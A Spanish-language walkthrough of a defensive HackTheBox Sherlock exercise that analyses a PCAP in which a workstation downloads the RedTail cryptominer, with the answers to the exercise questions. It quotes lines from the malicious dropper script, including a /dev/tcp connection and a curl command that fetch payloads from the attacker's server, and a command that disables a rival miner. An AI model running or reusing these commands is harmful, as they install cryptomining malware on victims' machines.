Cuidado – HackTheBox Sherlock

Dificultad: Easy
Categoría: SOC

🧨 Introducción

Nos encontramos ante un archivo ZIP que contiene un archivo PCAP. El caso: un usuario disparó múltiples alertas tras descargar varias PUAs (Potentially Unwanted Applications). Para entender su actividad, el equipo de seguridad decidió monitorizar el tráfico desde su estación de trabajo y evaluar si esas descargas se vinculan con amenazas de malware más serias.

¿Qué es un PCAP? Es un archivo de “Packet Capture” que almacena paquetes de red con sus marcas de tiempo, direcciones IP, puertos y protocolos (DNS, HTTP(S), etc.). Permite reconstruir sesiones, extraer artefactos transferidos y buscar indicadores de compromiso a nivel de red.

Este Sherlock es un ejercicio blue team con varias preguntas que responderemos basándonos en la evidencia contenida en la captura.

Pregunta 1

What is the victim's IP address?

Para identificar la IP de la víctima, revisamos las primeras conversaciones HTTP en Wireshark y observamos en la columna “Source” múltiples solicitudes GET saliendo desde la misma dirección hacia destinos externos (descargas/consultas web). Destaca una petición cuyo path contiene “x86_64”, lo que sugiere la descarga de un binario. Entre las IPs observadas, la única dirección privada que aparece como origen es 192.168.1.152, por lo que la consideramos la estación del usuario.

• Respuesta: 192.168.1.152

Pregunta 2

What is the IP address of the attacker from whom the files were downloaded?

Abrimos uno de los paquetes HTTP sospechosos y, en el panel de detalles, vemos la solicitud completa con el recurso “/x86_64” y el encabezado Host, que indica el servidor desde el que se descargan los archivos. Ahí se aprecia con claridad la IP del servidor externo.

• Respuesta: 94.156.177.109

Pregunta 3

What was the first file downloaded?

Revisando los paquetes en orden temporal y abriendo el detalle de las primeras solicitudes HTTP, observamos una petición GET al recurso “/sh” hacia el mismo servidor externo. Esta es la primera descarga registrada en la captura.

• Respuesta: sh

Pregunta 4

What is the name of the function that the attacker used to download the payload?

Extraemos el fichero “sh” desde el PCAP (Export Objects → HTTP) y lo guardamos localmente.

Comprobamos su tipo con file: se trata de un script de Bash (no un binario).

Leemos el contenido y vemos una función encargada de descargar el payload.

• Respuesta: dlr

Pregunta 5

Which port does the attacker's server use?

En la misma función dlr se abre un socket a /dev/tcp/94.156.177.109/80, indicando el puerto utilizado por el servidor del atacante.

• Respuesta: 80

Pregunta 6

The script checks which directories it can write to by attempting to create test files. What is the size of the second test file? (Size in MB)

En el script se prueba la escritura creando archivos de test. La segunda prueba usa el siguiente comando:

dd if=/dev/zero of=.testfile2 bs=2M count=1

• if=/dev/zero: genera bytes nulos.
• of=.testfile2: escribe el resultado en el archivo .testfile2.
• bs=2M: tamaño de bloque de 2 MB.
• count=1: escribe 1 bloque.

Esto crea un archivo de exactamente 2 MB (también se ve que hay alternativa con truncate -s 2M).

• Respuesta: 2

Pregunta 7

What is the full command that the script uses to identify the CPU architecture?

El script guarda la arquitectura en la variable ARCH ejecutando:

ARCH=$(uname -mp)

• uname: muestra información del sistema.

• -m: machine hardware name (ej. x86_64, arm64).

• -p: processor type (puede coincidir con -m o ser “unknown” en algunos sistemas).

• Respuesta: uname -mp

Pregunta 8

What is the name of the file that is downloaded after the CPU architecture is compared with reference values?

Tras identificar la arquitectura, el script compara el valor y en el bucle asigna a a el nombre del archivo a descargar. Vemos que se inicializa con x86_64 y luego se invoca dlr $a.

La función dlr recibe ese parámetro y descarga con curl -O http://94.156.177.109/$1, es decir, el nombre pasado en $1.

• Respuesta: x86_64

Pregunta 9

What is the full command that the attacker used to disable any existing mining service?

En el script principal se aprecia que, tras otras acciones, se llama explícitamente a la función de descarga con el parámetro “clean”, por lo que se baja un segundo script de limpieza:

Exportamos “clean” desde el PCAP (igual que antes) y comprobamos su tipo; es otro script de Bash, así que lo leemos para ver qué hace:

Dentro de “clean” se observan rutinas para sanear el sistema (p. ej., limpiar crontabs de entradas maliciosas) y, específicamente, una línea que deshabilita un servicio llamado c3pool_miner:

Inicialmente solo intuimos por el nombre que se trataba de minería. Después de investigar, vemos que c3pool_miner es un servicio de criptominería asociado al pool c3pool (habitual en campañas de minado de Monero).

• Comando exacto utilizado por el atacante:

systemctl disable c3pool_miner

• Respuesta: systemctl disable c3pool_miner

Pregunta 10

Apparently, the attacker used a packer to compress the malware. Which version of this packer was used? (Format X.XX)

Inspeccionamos el binario descargado igual que los archivos anteriores (x86_64) con strings para buscar referencias a “packer” y vemos que, utiliza UPX.

Después volvemos a utilizar strings pero ahora buscando cosas relacionadas con UPX

La primera búsqueda revela que el ejecutable está empaquetado con UPX, y la segunda muestra la versión exacta.

strings x86_64 | grep packer
strings x86_64 | grep UPX

• Respuesta: 4.23

Pregunta 11

What is the entropy value of unpacked malware?

Breve contexto: la entropía en un binario mide la aleatoriedad de sus bytes (bits por byte). Valores cercanos a 8 indican datos muy aleatorios/compresos (p. ej., binarios empaquetados o cifrados). Valores más bajos sugieren datos “estructurados” (código/desensamblado legible). Por eso, al desempaquetar un malware, su entropía suele bajar.

1. Sospecha de empaquetado El binario muestra cabeceras de UPX, lo que sugiere que está empaquetado:

2. Desempaquetado Usamos el mismo packer (UPX) para desempaquetarlo:

upx -d x86_64

3. Cálculo de entropía Con el binario ya desempaquetado, calculamos la entropía con ent:

ent x86_64

El resultado muestra:

• Entropy = 6.488449 bits per byte

• Respuesta: 6.488449

Pregunta 12

What is the file name with which the unpacked malware was submitted on VirusTotal?

Subimos el binario ya desempaquetado a VirusTotal. La muestra ya existía y aparece listada bajo múltiples “Names” (el mismo hash fue enviado con distintos nombres).

Para saber con qué nombre se envió originalmente, en la tarjeta “Names” bajamos hasta el final y miramos el ultimo (primer nombre con el que aparece la muestra).

• Respuesta: redtail.cuidado

Pregunta 13

What MITRE ATT&CK technique ID is associated with the main purpose of the malware?

Tras subir el binario desempaquetado a VirusTotal y revisar referencias públicas, “redtail” se identifica como malware de criptominado. Su objetivo principal es aprovechar los recursos de la víctima para minar, lo que en MITRE ATT&CK corresponde a Resource Hijacking.

• Respuesta: T1496

---

Conclusión

A partir del PCAP seguimos la cadena: descarga de un script Bash (sh) que usa la función dlr para traer un payload específico por arquitectura (x86_64), empaquetado con UPX 4.23. El atacante también baja un script “clean” que deshabilita servicios previos (systemctl disable c3pool_miner). Tras desempaquetar y analizar, el binario presenta una entropía de 6.488449 y, por su naturaleza de minado, mapea a MITRE ATT&CK T1496 (Resource Hijacking).